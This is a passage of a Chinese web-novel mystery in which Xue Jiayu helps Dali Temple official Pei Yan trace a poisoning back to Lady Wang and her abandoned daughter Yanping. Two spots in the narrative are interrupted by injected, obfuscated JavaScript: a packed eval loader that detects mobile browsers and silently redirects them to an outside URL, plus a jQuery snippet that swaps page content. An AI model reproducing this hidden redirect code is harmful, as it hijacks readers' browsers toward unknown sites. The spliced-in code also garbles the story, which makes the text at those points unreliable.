薛嘉玉冷冷地抬了抬眉,她见王夫人面上已然是一副昏昏欲睡的模样,便松开了手,她拍拍衣裳站起来,“王夫人,但愿你在大理寺的牢狱里也依旧可以说出方才那一句话。” 说罢,她便大步离开这个是非之地,只是刚离开寺庙没几步,薛嘉玉的耳畔就响起了一阵又一阵的沙沙声。 此处杂草丛生,树木星罗棋布,再加之此时已至深夜,这山上难免会有野兽出没。 不过比起张牙舞爪的野兽,她倒是更害怕这里埋伏着人,担心是之前在庙中与王夫人交谈的那个男人。 薛嘉玉双手抱臂,尽管她面上波澜不惊,可她的心里还是忍不住发毛,她这时草木皆兵,立在原地,小心翼翼地巡视着周围。 然而并未瞧见有人露出马脚。 她只当是自己多虑了,于是加快脚步赶紧下山,可是才刚往前小跑了几步,手肘就被人给紧紧拉住。 薛嘉玉的心脏猛地提到了嗓子眼,她吓得眼神飘忽不定,刚准备转过头去瞧瞧身后的人是谁,便听见那人说:“薛娘子,你没事吧?” 她知道,这是金羽的声音。 闻言,薛嘉玉的心脏总算是可以安稳落地,她缓缓舒了口气,“我没事,只是不知你为何在这?” 金羽松开手,向她行了行礼,“是大人吩咐我来盯梢的,他担心真凶会向你动手,这样一来大理寺岂不就少了一位证人嘛。” “原来如此,那替我谢过裴少卿了。” 薛嘉玉忽然灵光一闪,她想要是金羽一直跟着自己的话,那么他会不会瞧见了捂晕自己的人?又会不会看见了方才同王夫人一同的那个男子? “金羽,那你可看见了捂晕我的人?又可曾瞧见和王夫人一道的那个男子?” 他皱着眉头认真回想了一下,随即略带遗憾地摇摇头,“我只瞧见娘子被一个身着黑衣的男人带走,为了不打草惊蛇,便偷偷一路跟着,至于跟王夫人一道的男子,我远远瞧见了一眼,只觉那人的身形甚是眼熟,不过并未看见面容。可是这也不能证明庙里的男子和捂晕娘子的人是同一个。” 薛嘉玉两手环抱在胸前,她有些迟疑地说:“不,我觉得不是同一个人的概率并不大。如若是三个人的话,未免有点大张旗鼓了吧?虽有夜色遮掩,此处又是深山,只是明明两个人都能做到的事情,何故让三个人来做?况且他们本来是打算直接将我灭口,多一个人知道,就会多一丝暴露的危险。” 金羽微微颔首,“薛娘子此言倒是有理,此事我会一五一十告知大人。只是现在实在太晚,还望薛娘子速速随我一同下山,以免碰见野狼。” “好。” 金羽一路护送她下山,到了山脚的时候,薛嘉玉无意间留意到此处还有几户人家,不过也没多问,收回眼神继续跟着金羽。 回到家中,薛嘉玉方觉轻松,她洗漱好后,就躺在床上,盖好棉被,一夜好眠。 直到她被一阵急促的敲门声和呼唤声给吵醒。 好梦被人打搅,她自然是没有什么好脸色的,简单裹上一件外袍,就匆匆跑到门口开门,只见门外站着两位貌若潘安的男子,站在前面的那位身着一袭白衣,两手交叠放在身前,浑然一副翩翩公子的模样。 薛嘉玉连忙向那位偏偏公子行礼,“裴少卿,不知您这么早来找民女是有何要事?” 裴砚此人向来不喜兜圈子,言简意赅道:“随我一同去斜阳山。” 她默默揣测,想必他是要去昨日自己被绑架的那寺庙去亲自察看一番。 薛嘉玉连连答应,一是她没有办法回绝,二是此案与当年家人被杀有关,她也不得不去跟着。 金羽带着两人来到斜阳山脚下,清晨的斜阳山不似夜晚那般神秘危险,反而是处处洋溢着生机。 裴砚并未急着上山,而是先从山脚的几户人家入手。 前面几户人家都没有什么明显的奇怪之处。 三人一同来到东南方向这户人家,这间房屋三面环山,山势陡峭,田亩罕见,唯有几里外有一条潺潺溪流,属实算不上宜居之处。 金羽抬起手叩了叩门,少顷,一位身着枣红色麻布衣裳的妇人就从木屋里走了出来,她步履蹒跚,来到门口为他们开门。 那妇人抬起饱经风霜的脸,“请问你们是?” 裴砚从腰间抽出一枚铜色的大理寺令牌,“大理寺的,来向您询问一些事情。请问您怎么称呼?” 妇人从来就没和官府打过交道,尤其是向来令人闻风丧胆的大理寺,她的声音略带一丝颤抖,“老妇姓赵,单名一个溪。” 赵溪将他们请进陋室,但因家中贫穷,招待不起茶水,只得以清水相待,“还望大人莫要嫌弃。” 裴砚不是嫌贫爱富之人,自然是不会嫌弃,他端起杯盏,饮了一口水,“敢问赵大娘为何要将此屋建在这东南方向?这斜阳山脚下土地有限,其他几户人家皆是建在土地旁,以便分到土地,可这东南方向附近地势险峻,可用于耕种的土地少之又少,所以究竟是为何?” 赵溪坐在他们对面,叹了口气,“我已经过了天命之年,腿脚早已不便,实在是没有精力去经营田亩了,只偶尔去那溪流边钓点鱼,拿到集市上去卖,以补贴家用。” 薛嘉玉留意到这间屋子处处尽显荒凉,而且屋内还弥漫着一股草药味,“赵大娘,您的家人呢?” “我没有家人,我的丈夫在十年前就已经过世了,而且我们没有子嗣的福分。现如今就只有我这一孤家寡人苟活于世了。” 她将视线挪到了赵溪身后的房间上,“可为何有两间房? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴砚自然听明白了她话中的含义,他单手摩挲着下巴,若有所思道:“难怪要将房屋建在此处,看来是瞧上这里的草药了。也就是说,赵大娘不仅识草药,还懂药理。” “没错。”薛嘉玉忽地又想到了另外一茬,“可是我们知道这个有什么用?赵大娘无儿无女,没有亲戚,看似和这个案子也并没有什么关联啊。” “看似罢了,随后去查验一番不就什么都知道了吗?” 上山的路上,金羽首当其冲,为金贵的裴少卿排除一切危险。 裴砚瞧着就知道不是经常上山的人,平日里估计也是养尊处优的,还险些因为山路崎岖差点摔倒了,幸好有薛嘉玉在一旁扶着。 她低头瞧了眼裴砚身上已经被各种树枝和泥土弄脏的裙摆,心中不免有点心疼,那可是用丝绸做的啊。 他一眼就瞧明白了薛嘉玉的小心思,裴砚弯腰用手理了理裙摆,“薛娘子何必为我的衣裳感到心疼?” 薛嘉玉悻悻收回目光,撇了撇嘴巴,“这可是丝绸做的,先不说价钱,这手感可是一流的,就这么被弄脏了,可不是暴殄天物嘛。” 裴砚从鼻腔里轻轻地哼了一声,嘴角带着笑,“这算得上什么暴殄天物?难道薛娘子对待自己的丝绸衣物就是当宝贝一样供着?” 听及此,她落寞地垂了垂眸,良久才缓缓道:“民女未曾穿过丝绸衣裳。” 话音刚落,薛嘉玉能够察觉到裴砚瞬间僵了一下,在他向自己道歉的前一秒抢先道:“大人不必道歉,您年纪轻轻就官居大理寺少卿,想必定是生于长安的名门望族,自然是不知道一匹丝绸对于我这种人来说是有多么的昂贵。” 5. 发簪 裴砚轻轻蹙了蹙眉,脸色也连带着冷了下来,“薛娘子聪慧过人,又颇具胆识,飞黄腾达指日可待。” 薛嘉玉知道他是在同自己开玩笑,从而安抚她的情绪,只一笑置之。 爬到山顶之时,已至正午时分,这一路长途跋涉,薛嘉玉早就已经饥肠辘辘了,肚子还不争气地叫了两声。 她两手捂住肚子,不敢抬头与裴砚对视。 裴砚瞧她面黄肌瘦,路上也没吃东西,饿了也是情理之中的事情,便朝着金羽使了个眼神。 金羽心领神会,从兜里掏出一块烙饼,“薛娘子,拿去垫垫肚子吧。” 薛嘉玉看向那块烙饼,虽然已经冷掉,但是看着依旧让人垂涎欲滴,只是面前这位金尊玉贵的裴大人都没吃,她又怎么好意思呢? 她连忙摆摆手,心不甘情不愿地回答:“没事,我忍忍。” 裴砚一眼就看破了她的小心思,他一边大步流星地迈向前方破败的寺庙,一边淡淡道:“拿着吧,我尚且不饿。若你要是有个三长两短,我可不好交代。” 薛嘉玉喜笑颜开地双手接过烙饼,冲着那抹白色背影鞠了鞠躬,“多谢裴大人。” 她单手拿着烙饼,嘴里嚼着跟石头差不多硬的烙饼,蹲在正细心探查的裴砚身边,“裴大人,可有什么发现?” 裴砚从袖口中拿出一枚卷尺,仔细测量泥土上留下的脚印,“你说昨夜还有一位男子?他让王夫人把你处理干净?” “对,而且我瞧着那男子是在吩咐王夫人,两人倒不像是一种平等的合作关系。” “看来王夫人的背后有高人相助。”裴砚将卷尺收好,“金羽,记录一下,脚长在25厘米到26厘米之间。” 薛嘉玉下意识回答:“那也就是说,那个男人的身高在175到182之间。” 裴砚两手撑着膝盖站起来,顺便拍了拍刚刚沾到了泥土的袖子,“薛娘子反应倒是挺快的。” 她将最后一块烙饼吞进肚子,由于烙饼实在太硬,一不小心噎住了,薛嘉玉一边用手拍拍胸膛,一边说:“水——水。” 金羽盯着自己手里的两个皮囊壶,脸色微僵,“这······薛娘子,你要不吞点口水进去?这皮囊壶我和郎君都用过,不便拿给你喝。” 薛嘉玉只觉得自己最近实在是倒了大霉,她无奈直起身来,“那裴大人,我们接下来去何处?” “去王家瞧瞧,你就不必去了。” 说罢,裴砚便拂袖而去,真是毫不客气。 金羽知晓自家郎君的脾气,留在原地向她解释:“郎君向来如此,还望薛娘子莫要同他计较。” 薛嘉玉两手叉腰,默默腹诽:好你个狗官,利用完我就跑。 不行,这个案子同当年家人被杀有关,指不定那王家也知晓点什么内情,她非得要缠着裴砚才行。 她提起裙子,全然不顾小娘子形象,奋力跑到裴砚身边,“裴大人,请您准许我同你一起去王家。” 裴砚转过身来,眸中毫无感情,“为何?” “那王夫人昨日害我不成,兴许她还会找机会杀掉我呢?跟在裴大人身边,谅她也不敢动手,况且我也能向裴大人提供一些破案的思路。” 他知道面前这位小娘子冰雪聪明,确实也给破案提供了不少有用的证据,若是王夫人再次对她下手,或是那位神秘男人对她下手,那么此案就会错失一位有用的证人。 思来想去,裴砚还是应下来了,“那你同我一起去吧。不过一切都得听我的命令,莫要坏了大理寺的名声。” 薛嘉玉悬着的心总算是平稳落地,她如小鸡啄米般点头,“是。” 三人抵达王府之时,碰巧撞见王颌处理家事,而王夫人则是痛哭流涕地跪在他的腿边,两手揪住王颌的裙摆,向他哭诉。 不过真正引得他们好奇的并不是这一出闹剧,而是坐在王颌旁边,也就是主母之位上的一位妇人。 裴砚抬起手,轻轻叩了叩门,“王夫人。” 闻言,王夫人立刻转过身来,看向裴砚那一刻眸光微闪,她立刻四肢并用,爬到裴砚脚边,抬头哭诉:“裴大人,求您救救我!” 他弯腰将王夫人扶起来,“王夫人不必如此,还望将事情的来龙去脉一一说清。” 王夫人转头死死地盯着坐在主母之位的那个妇人,“裴大人,此人唤作杨青,她就是个水性杨花的贱妇!先是勾引我家郎君,害得我恩宠全无,现在居然开始觊觎我的主母之位,竟哄得王颌要将我休掉!” 听见“水性杨花”这四个字的时候,王颌比杨青还要恼怒,他大手一拍旁边的木桌,“你也不看看你这副嘴脸,浑然一个悍妇!你德行有亏,现在还搅进我儿的凶杀案里去了,简直有辱我王家门楣。我为何不可休掉你?” 杨青头上顶着好几根金色头钗,红色的齐胸襦裙搭配金色丝质披风,相比起主母王夫人头上的素钗,这倒是尽显富贵之态,她手里攥着手帕,安抚似地拍了拍王颌的肩膀,“老爷,莫要置气啊。切不可为了这种悍妇,伤了自己的身体啊。” 王颌含情脉脉地看了她一眼,将自己皱巴巴的手搭在杨青的手背上,“你说得对,这种悍妇不配我与她置气。” 王夫人瞧着自己的丈夫同别宅妇琴瑟和鸣,心中百感交集,“王颌,我是你明媒正娶的夫人,是你父母钦定的妻子,你凭什么为了一个别宅妇就把我休掉?这些年来,我为王家劳心劳力,这王家现在的荣耀也有我的功劳。可你现在却嫌我容颜已逝,德行有亏,你究竟还有心吗?” 可王颌油盐不进,此刻只想将自己心爱之人光明正大迎进王家,“你若有半点能比得上青儿,我和你都不会走到如今这个地步。况且,当年我只是听从父母之命,被迫娶的你。我知道这些年来你为王家做了不少,没有功劳也有苦劳,所以我也会补偿你一些的。” 王夫人瞧着是还想要再说几句的,可是却被薛嘉玉给强行打断,“王夫人,这样的男子早已没有了做丈夫的责任,你又何苦要上赶着求他呢?这样的人不值得托付。” 只见王夫人迈着轻飘飘的步子,围着薛嘉玉转了一圈,眼里噙着眼泪,嘴唇不停地颤抖着,“你知道休妻是什么含义吗?这意味着,我今后若要再嫁是几乎绝无可能的,从今往后我就是一孤 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“昨夜?”王夫人垂眸摇头,“昨夜我早早便入睡了。” “是么?那为何我的侍卫瞧见你去了那城郊的斜阳山?” 王夫人佯装镇定,两手紧紧交握在身前,“恐怕是侍卫看错了吧。大晚上的我一个人去斜阳山作甚?” 裴砚勾了勾唇,从容不迫地从袖子里拿出一枚金镶玉头钗,“敢问王夫人这是何物?这是我今早从那斜阳山上的寺庙里寻到的。原本我以为是哪位小娘子落下的,可是我瞧这京城里的女流想来喜欢流苏头钗,而这种金镶玉头钗倒是更受妇人喜爱。巧的是,王夫人头上也戴着款式相似的头钗,不知这钗是否就是王夫人遗落的?” 王夫人伸手,颤颤巍巍地接过了这枚头钗,她盯着头钗看了好一会儿,忽然间潸然泪下,手心紧紧地攥着这枚头钗,她哽咽道:“没错,这是我的头钗。哼,这还是当年成婚的时候,王颌送给我的钗子,没想到都已经簪了这么多年了。直到他都已经厌倦我了,我都还是没能将这枚钗舍弃。” 裴砚没有经历过男女之事,不懂这些情情爱爱,只知道王夫人同此案有直接联系,“金羽,将她送进大理寺,你细细拷问。” “是。”金羽向他行了一抱拳礼,随即便上前走到王夫人身边,“王夫人,随我走吧。” 她没有说话,只将那手心里攥着的金镶玉头钗“啪”的一声扔在了地上。 待他们二人走后,薛嘉玉垂头瞧了一眼那枚头钗,一时也不知作何感想,她抬起头看向同样敛着眉的裴砚,忍不住调侃:“没想到裴大人竟然也会留心长安女子平日爱簪什么发钗,莫不是是因为有了心爱的女子?” 裴砚斜睨了她一眼,自顾自地往外走,“你这个人倒是挺没心没肺的,刚才王夫人那般驳斥,现在还有心思来戏谑我。” 她加快脚步,跟上裴砚的步伐,“对于这些话,自然是要没心没肺一些才好。” 若是不没心没肺地活着,她早就被仇恨给吞噬了。 6. 养女 大理寺的牢狱黯淡无光,此时此刻王夫人也算是切身领教了大理寺的本事,不过幸好她招得迅速,并没有吃多少苦。 金羽拿着王夫人亲自写下的认罪书来到裴砚的书房,“郎君,这是王夫人的认罪书。” 裴砚接过他双手奉上的认罪书,也没顾忌着一旁站着的薛嘉玉,便直接打开了,上面的案件经过全都写得清清楚楚。 只是他始终不相信这上面所写的就是全部的真相,王夫人怎么可能这么快就认下了?那她栽赃嫁祸又算什么? 他两手将认罪书合上,狐疑道:“她就这么认了?” 金羽不可置否,“对,才只问了几次,她就如实招了,那些新进的刑具都还没派上用场呢。” 薛嘉玉也觉得哪里不对,总感觉好像有什么东西被边缘化了,她拿起书案上的认罪书,仔细浏览,忽然灵光一闪。 “裴大人,你还记得方才在王府时,王夫人说的那句‘还不能离开’吗?难道说她是有什么目的才非要留在王府?” 裴砚也突然想到了什么,他瞬间坐直身子,“雁萍!金羽,你立刻去查雁萍在何处。” 她悄悄在旁边提醒:“那……那个同王夫人一同去寺庙的男子呢?” 提起这个人,他的面上划过一丝疑惑,“此人先搁置在一旁,毕竟没有物证,认罪书里也没有提到这个人。” 薛嘉玉张了张嘴,最后还是把嘴里的话吞进肚子里去了,“是,大人。” “你先行回去吧,若有要事,自会派金羽去找你。” “好。” 只是薛嘉玉并未直接回家,而是去了斜阳山,此时红日西垂,余晖遍照苍茫大地,她凭着记忆,来到位于东南方向的赵家。 可不幸的是,赵家的门上了门栓。 薛嘉玉猜测赵溪同那王家没有什么交集,因而与此案应当没有关联,所以赵溪绝无可能偷偷离开。 于是她便沿着田间小路,来到了那不远处的潺潺溪流旁,赵溪正坐在岸边垂钓,她的身边放着一个棕色的背篓,里面装了不少的草药。 “赵大娘!” 闻言,赵溪回过头看她,完全没有意料到她会在这个时候出现,眸中尽显疑惑,“薛娘子?” 薛嘉玉蹲在那背篓面前,探头去瞧里面的草药,“赵大娘原来也颇懂药理啊。” “哪有哪有?还不是因为我如今老了,身体不好,不得不自己学点,好养养身体。” “赵大娘,你就不必谦虚了吧。” 赵溪微微蹙眉,旋即笑了起来,眼角堆起皱纹,“何出此言啊?” 她勾了勾嘴角,伸手拈起背篓里的决明子,“这决明子长在山上,而斜阳山山势陡峭,树木丛生,还有不少蛇鼠虫蚁在那儿栖身,就连年轻力壮的男子爬上去都甚是费劲。可是今早你说自己老了腿脚不好,不便务农。那请问你又是从哪儿摘的决明子?” 赵溪忽然间被噎得一句话都说不出来了,“这……” “赵大娘,你为何要撒谎?那多余的一间房又究竟是给谁住的?” 她盯着薛嘉玉的脸蛋看了许久,终是败下阵来,赵溪放下手里的鱼竿,抬头看向南飞的大雁,“小娘子,你很聪明,但有时候看得太通透,兴许会害了你。” “我确实懂药理,也以草药为生。我的丈夫确实是十年前过世了,我们也没有子嗣,不过我们在十九年前收养了一个小女娃,那女娃当时也才一岁,我们看她可怜,就把她给抱回来养,等她长大了,我就教她学草药。” “可是后来,她的生母找到了她,想要把她带走,不过她也是个念恩的,还是留下来陪我。但之后不知怎的,她却跟生母一起跑了,过了几天又回来找我要草药,说是要制鬼仙蛊。那鬼仙蛊可是能让人一喝毙命的玩意儿,我怎么可能放任她,只是她就像是着了魔一样,我阻止不了,她偷走了草药和鬼仙蛊秘方。” 薛嘉玉的心中隐隐有了种不好的预感,她强行忽略掉自己怦怦乱跳的心脏,着急地问:“你的养女叫什么名字?” “雁萍。” 明明这个名字是她早已猜到了的,可是当她听见这两个字的时候,薛嘉玉竟然还是忍不住跌坐在了地上。 “赵大娘,你可知雁萍姑娘如今被牵扯进了一桩凶杀案中?” 赵溪心里其实什么都明白,“我知道。正是因为我知道,我才会把这些全都告知于你。雁萍这孩子其实心不坏,走到这个地步,我想她应该也是有什么难言之隐,我希望你能早日找到她,好让她迷途知返。” 薛嘉玉微微颔首,“放心,赵大娘,我会的。” 她本想及时将此时告知给裴砚,可走到大理寺的时候,小吏说他如今正在牢中审讯犯人,不便见客。 无奈之下,薛嘉玉只得等到明日再将此事告诉他。 然而,到了第二天,尚未等到告知雁萍身世给裴砚,就率先等到了大理寺发现的雁萍姑娘的尸体。 从街坊邻里嘴里听见了这个消息后,薛嘉玉马不停蹄地赶到了发现尸体的地方——欢云客栈。 欢云客栈是长安有名的客栈,不少贵女少爷在此寻欢作乐,只是现如今这儿死了人,倒是给这家客栈平添了不少霉头。 客栈的老板娘五娘趴在桌子上,哭得梨花带雨的,左手紧握成拳,用力地捶着桌面,“怎么就偏偏在我客栈里头死了人呢?明明长安有那么多的客栈,非要死在我这儿,我以后还怎么做生意啊?” 薛嘉玉走到五娘身边,伸手抚了抚她的后背,“老板娘,谁都不想看见有人死在了自己的地盘,不过当务之急是要配合大理寺查案才是,若是这人含冤而死,那岂不就是霉上加霉了嘛。唯有一切水落石出,让别人知道这人的死和欢云客栈无半点关系,这样钱财才会源源广进。” 五娘觉得她说得颇有道理,立刻直起身来,用袖子拂去眼泪,向她伸出右手,“你说的在理,认识一下,呢唤我五娘即可。” 她也伸出右手,同五娘握了握手,“民女姓薛,名嘉玉。” 薛嘉玉此刻没有多少时间同五娘了解雁萍的情况,得要先去现场查看尸体痕迹。 可那小吏不认识她,将她拦在了外面。 她急得像热锅上的蚂蚁,简直想立刻将面前的两位小吏打趴在地上,好顺理成章地进去。 忽然,她瞥见了一抹玄色身影,是金羽。 薛嘉玉踮起脚尖,伸长手臂,冲着金羽挥手,大声呼喊他的名字,“金羽!金侍卫!” 金羽循声望去,不用问也能知道她心里在打什么算盘,他凑到蹲在尸体面前的裴砚身边,悄声询问,“郎君,薛娘子来了,可要让她进来?” 裴砚本不想把她牵扯进来,毕竟她和大理寺无半点关系,要是让旁人知晓大理寺办案还要一小娘子帮助,岂不是落人笑话。 可是他瞧着薛嘉玉一直站在原处挥手,还向小吏求情,又觉得不放她进来,她恐怕要在这儿一直缠着。 他无奈地叹了口气,“让她进来吧。” “是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021520|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金羽起身来到她的面前,冲那位侍卫解释:“这是裴少卿的侍女,把她放进来。” 得到允许后,薛嘉玉迈着箭步,冲到雁萍身旁,她蹲下来仔细查看雁萍的面部。 裴砚却在此时出声,“你不必看了,林炎已然瞧过,是自己投井而亡。” 薛嘉玉对这个结果并不惊讶,“原来如此。” “你瞧着并不惊讶,可是知道了些什么?” “我正是来同大人说一件事的。” 他起身向五娘打听了雁萍的房间,随即才回过头对薛嘉玉悠悠道:“边走边说。” 薛嘉玉加快脚步,跟在他身后,她语气有些着急,“雁萍是王夫人的女儿,19年前不知怎的被抛弃了,后来被赵大娘抱养,当时才一岁,长大后便跟着赵大娘学习药理。之后王夫人又突然找回雁萍,她一开始没有跟王夫人走,没过多久就改变主意,跟王夫人跑了。只是走了没几天,也就是五日前,她又折回来说要制作鬼仙蛊。” 裴砚面色一冷,“十九年前?那也就是说现在雁萍以年芳二十。可是王诗今年也及加冠之年,王夫人不可能因为当年生下的孩子是女儿而抛弃。” 她两手抱臂,“我也觉得此事甚是奇怪,况且之后王夫人还去找了雁萍,又把她安顿在了这儿上好的客栈里头。” 话音刚落,厢房的门便被裴砚给“啪”的一声推开,里屋宽敞,装饰典雅,一瞧便知这间厢房乃是欢云客栈的上等厢房,一夜可值不少两银子。 薛嘉玉从未住过如此好的房间,一看这间大厢房,就知道王夫人对雁萍不可能一点感情都没有,“看来,这个秘密得要问问王夫人了。” 裴砚吩咐小吏搜查这间房屋,很快便有一位手脚麻利的小吏找到了一钱袋子,“裴大人。” 他接过这钱袋子,轻轻掂了掂,“这么多钱?再找找还有没有别的。” “是!” 吩咐完小吏后,裴砚忽地留意到薛嘉玉那双望眼欲穿的眼神,他把手里的钱袋子递给她,“拿去数数里面有多少银子。” “是,大人。” 薛嘉玉虔诚地用双手接过这沉甸甸的钱袋子,拉开一看,里面全是白花花的银子,她认真地一个一个数。 “大人,这里面居然有一百两银子!” 她的惊呼声引得周围几位大理寺协同办案的寺直和百姓好奇的目光。 裴砚那冷冷的眸光一扫,那些人瞬间收回眼神,他扯了扯嘴角,“收起你那副没见过世面的样子。” 薛嘉玉恹恹道:“是。” 她依依不舍地把银子一一放回钱袋子里面去,“这一百两银子恐怕是王夫人拿给雁萍跑路的吧。” 裴砚暂且没有理睬她的话,而是等小吏把这间厢房搜的个底朝天,小吏只从这间厢房里搜出来了那袋银钱和一封信。 他将黄色的信纸撕开,抽出里面的信纸,上面的字迹端端正正,十分秀气,信上说:雁萍,是母亲亏欠了你许多,等你真正认祖归宗之后就拿着银钱离开长安,走得越远越好。 为了看清信上所写的内容,薛嘉玉不得不努力踮起脚尖,可偏偏这裴砚长得又高,她都快要把脚尖给立起来了! 差点没摔了个狗啃屎。 她无奈地叹了口气,“这王夫人……难怪她当时不肯同王颉和离,原来是为了让雁萍认祖归宗。” 裴砚将信纸装回去,塞进了袖口里,不忍道出一句现实,“可就算她回去了,那王家也绝不会把她写进族谱。” 7. 美色 裴砚的面上仅仅划过一瞬的惋惜,随即又恢复了往常那副公事公办的模样,他领着一众大理寺官员,朝着欢云客栈门外迈去,可尚未走远,宽大的袖子就被薛嘉玉给揪住了。 他面无表情地用手将自己的袖子给抽出来,“何事?” 薛嘉玉脑子灵光,很快便想到了措辞,“您不是说我是您的侍女吗?既然是侍女,那我可不得帮着大人做点事?” 从前日起,裴砚便留意到她十分留心这个案子,原以为她只是为了洗脱自己的杀人嫌疑。 可如今她冤屈已洗,却还是如此地好奇此案,实在是有些奇怪。 他倒是想看看面前这个小娘子这么执着此案,到底所为何事。 想要知道鱼儿究竟长什么样子,就得用鱼饵把它钓起来。 裴砚松了口,“那你先行去找五娘打听一下雁萍,随后便来大理寺找我。” 她霎那间如释重负,“是,大人。” 待裴砚拂袖而去,她就迈着小碎步,悄悄挪到正在看账本的五娘身边,浅黄色的账本上印着好几处红色的字迹,薛嘉玉动作轻柔地拍了一下她的肩膀,“五娘。” 五娘没精打采的,仿佛整个人都被抽走了魂一般,她单手拖住脸颊,“薛娘子可是来向我打听雁萍姑娘的?” 见五娘已然识破她的目的,薛嘉玉也索性不和她兜圈子了,“这雁萍姑娘来此处住了几日?五娘素日里可有注意到她都在和哪些人接触?” “雁萍来我这儿不过住了一周,她平时都常常和那西市的王夫人见面,不过她们一向都是进了屋才交谈,所以我也不知她们之间究竟发生过什么。” 按照这个时间推算的话,也就是说雁萍在还没有制作鬼仙蛊的时候就已经在此处安顿下来了,那她拿走的那些草药又被放在了何处?她又是在何处制成的草药? 莫非······ 她语气急切地询问:“敢问五娘可曾在六日前瞧见雁萍姑娘拿着一大堆草药?” “草药?”五娘眉头微皱,仔细在脑海中回忆,随后不知是想起了什么,她倏地坐直了身子,“六日前,我在此处坐着看账本的时候,无意间留意到她背着一个背篓,那里面好似是装着一些草药。之后便有小厮告诉我她想借客栈的小厨房一用,说是要熬草药治病。我想着这姑娘既是上等厢房的客人,有什么需求,我也须得竭力满足,便同意了。” “那烦请五娘速速带我去小厨房!” 五娘握住她的手腕,“跟我来。” 二人一同向后院的小厨房奔去,浑然不顾天上落下的瓢泼大雨,待她们跑到青砖绿瓦下避雨的时候,薛嘉玉身上的麻布衣裳已然沾染了一大片雨渍,额前的碎发附着了数不清颗数的小水珠,她双手抱臂,忍不住打了个喷嚏。 五娘抬起手臂,朝着不远处忙活的小厮招了招手,“你去我厢房取两件披风过来。” 她将袖口往下面扯了扯,接着用手指抓住袖口,企图多获取一丝温暖,“不必了,五娘,我没事的。” “此时已至秋分,莫要着凉才是。” 五娘从小厮手中接过这一蓝一黄两件披风,她亲手将黄色那件披风披在薛嘉玉的身上,细心地为她系好带子。 薛嘉玉虽然瘦弱,但好在身材高挑,黄色披风披在她的身上,倒是衬托得更加亭亭玉立、英姿飒爽。 她甚是受宠若惊,一边解开带子,一边拒绝:“不可,五娘的好意,我收下了。可是这披风材质不菲,我万万不可收下。” 五娘面色一凛,抬手覆在她的手背上,“薛娘子,不必如此。你我皆身为女子,互帮互助自是应当的,况且这个天若感染了风寒那可不行,莫要置自己的身体而不顾啊。” 听及此,薛嘉玉眸光微动,由衷地笑了下,朝着面前的人行了一侧身礼,“多谢五娘。” “不必同我说这些,还是先进去一探究竟吧。” 她们一同来到厨房,只是已经过了六天,而且雁萍心思缜密,做完事情后处理得干干净净,没有在此处留下任何蛛丝马迹,这样一来就没有物证可以证明鬼仙蛊是雁萍所制。 既然在此处寻不到证据,她索性去王夫人口中探探。 薛嘉玉戴好帽子,两手提起披风,一路小跑到大理寺门口,想必裴砚早已同守门的小吏打过招呼了,因此她尚未来得及表明自己的来意,小吏就已经恭恭敬敬地将她放了进去。 她在一位小吏的带领下,穿过层层回廊,来到这阴暗潮湿又极其熟悉的地牢,这时犯人的求救声此起彼伏,也有不少已经乖乖伏法的犯人好奇她这个外来者。 来到这条路的尽头,小吏将最后一间牢房的铁门推开,弯腰冲着里头背手而立的墨衣男人行了一抱拳礼,“大人,人已经带到了。” 裴砚没有回头,只轻轻地“嗯”了一声,接着便再也没有说话了。 幸好他身边的金羽是个有眼力见的,立刻朝站在门口无所适从的薛嘉玉招招手,“薛娘子,过来吧。” 此处血腥味异常浓厚,原本她还尚有些疑惑,可等她一步一步靠近的时候,却发现王夫人身上已然被烙下了累累伤痕,有些新鲜的伤痕还在往外冒着汩汩鲜血。 俗言道,天道有轮回。 这也算是王夫人当初买官对她严刑逼供的一种报应吧。 裴砚问:“如何?” 她心领神会,立刻回答:“雁萍已在欢云客栈住了有一周,六日前,五娘曾看见她背着一娄草药回来,而且当日就借客栈的小厨房熬制草药。但雁萍处理得一干二净,并没有在厨房发现任何蛛丝马迹。” 这个结果并不出乎裴砚的意料。 他眸光冷冽,明明脸蛋生的温润如玉,可是在这大理寺中待久了,还是滋生出了一丝狠厉,看久了倒是让人不禁发怵。 裴砚的语调不带一丝一毫的感情,“王夫人,你的女儿已经投井自杀了,你还是不肯说实话吗?要是你之前一直不肯招认所有真相,是为了保的雁萍平安并顺利认祖归宗,那你现在不招,又是为了什么?她不受到自己生身父亲的待见,难道你这位母亲愿意看她不明不白地死了?” 王夫人双目无神,疯狂地甩着脑袋,嗓音尖锐,“不可能!雁萍怎么可能会投井自杀呢?这不可能!这绝对不可能!肯定是你们大理寺的为了破案,编造出来的谎言!雁萍她现在肯定已经认祖归宗,逃到天涯海角去了。” 他已经不知道多少次向王夫人重申了这个事实,可是王夫人还是不信,裴砚也有些倦怠了,只得狠下心来用那一招。 裴砚冲着一旁抱着一把剑的金羽招了招手,金羽立马就快马加鞭地去把雁萍的尸体抬了过来。 雁萍躺在竹子编制而成的担架上,身上盖着白布,面部苍白,嘴唇干裂,脖颈处已然开始浮现出点点尸斑。 王夫人看见雁萍的那一刻,就忽然激动起来,但由于两手都被用铁链拷在墙上,她只能无能地挣扎,铁链与铁壁碰撞,发出了刺耳的铿锵声。 她想要与自己的女儿离近一点,好好看清楚地上的人的相貌,可是王夫人靠不近,她一时间难以接受这个现实,眼泪顷刻间夺眶而出,低着头哭着怒吼:“不!” 瞧见这母女生死相别的场面,薛嘉玉竟也下意识地幻视十几年前她亲眼瞧见母亲尸体的样子,也许是深有感触,所以她不禁蹲下身,将那白布盖在了雁萍的脸上。 薛嘉玉站起身来,背对着王夫人,“王夫人,雁萍姑娘已逝,你只有将事情全都一五一十地道来,才不至于让她死不瞑目。” 